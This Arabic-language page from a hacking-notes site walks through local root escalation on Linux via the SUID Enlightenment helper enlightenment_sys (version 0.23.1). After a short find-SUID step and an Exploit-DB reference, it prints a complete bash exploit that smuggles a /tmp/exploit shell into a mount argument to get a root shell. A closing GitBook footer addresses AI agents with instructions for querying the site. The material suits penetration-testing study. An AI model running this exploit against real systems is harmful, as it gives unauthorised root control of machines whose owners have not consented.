> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/privesc/suid/suid-enlightenment-linux-privilege-escalation.md).

# SUID (Enlightenment) – تصعيد امتيازات لينكس

## ما هو

تعمل ثنائيات SUID بامتيازات مالكها، وغالبًا ما يكون الجذر. ويمكن لثنائي SUID ضعيف أو قديم أو مرن أكثر من اللازم أن يقرأ الملفات المحمية، أو ينشئ صدفة ذات امتيازات، أو ينفذ شيفرة يتحكم بها المهاجم. تركز هذه الصفحة تحديدًا على **SUID (Enlightenment)** وتحافظ على سير الاستغلال بشكل عملي: حدّد الحالة، تحقّق منها بأمان، ثم شغّل أصغر حمولة لازمة لإثبات الأثر.

## الاستكشاف

ابدأ بتأكيد السياق المحلي والتهيئة الخاطئة الدقيقة قبل تشغيل مسار الاستغلال.

```bash
find / -perm -4000 -type f 2>/dev/null
```

## أمثلة

نبدأ بالبحث عن ملفات SUID التابعة لمستخدمنا. وللقيام بذلك، نفّذ الأمر التالي:

```bash
find / -perm -4000 2>/dev/null
```

من خلال تحليل المخرجات، نلاحظ وجود الملف الثنائي **enlightenment**.

<figure><img src="/files/00b65e110927aa55bb71eb1f895afd0120d762ee" alt=""><figcaption></figcaption></figure>

نحن نستكشف الثغرات المرتبطة بهذا الملف الثنائي. بعد بعض البحث، نحدد استغلالًا مناسبًا للإصدار **0.25.4**.

{% embed url="<https://www.exploit-db.com/exploits/51180>" %}

<figure><img src="/files/ffafaa595f0e1b658b0ee88accfbbe8399403989" alt=""><figcaption></figcaption></figure>

ومع ذلك، من خلال التحقق من الإصدار الحالي من Enlightenment المثبت على النظام، نجد أنه هذا هو الإصدار الأقدم **0.23.1**.

<figure><img src="/files/8ac4f2bb2e6098c207952f4050c4fa4f5f323096" alt=""><figcaption></figcaption></figure>

نختبر الاستغلال التالي لاستغلال الثغرة:

```bash
#!/usr/bin/bash

file="/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys"
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"
echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net
rm -rf /tmp/exploit
rm -rf /tmp/net
```

```bash
./exploit.sh
```

بعد تنفيذ الاستغلال، نحصل على غلاف بامتيازات الجذر.

<figure><img src="/files/c77c03cb1d5e5ea51cd0396d19a848d4ca6982d8" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/privesc/suid/suid-enlightenment-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
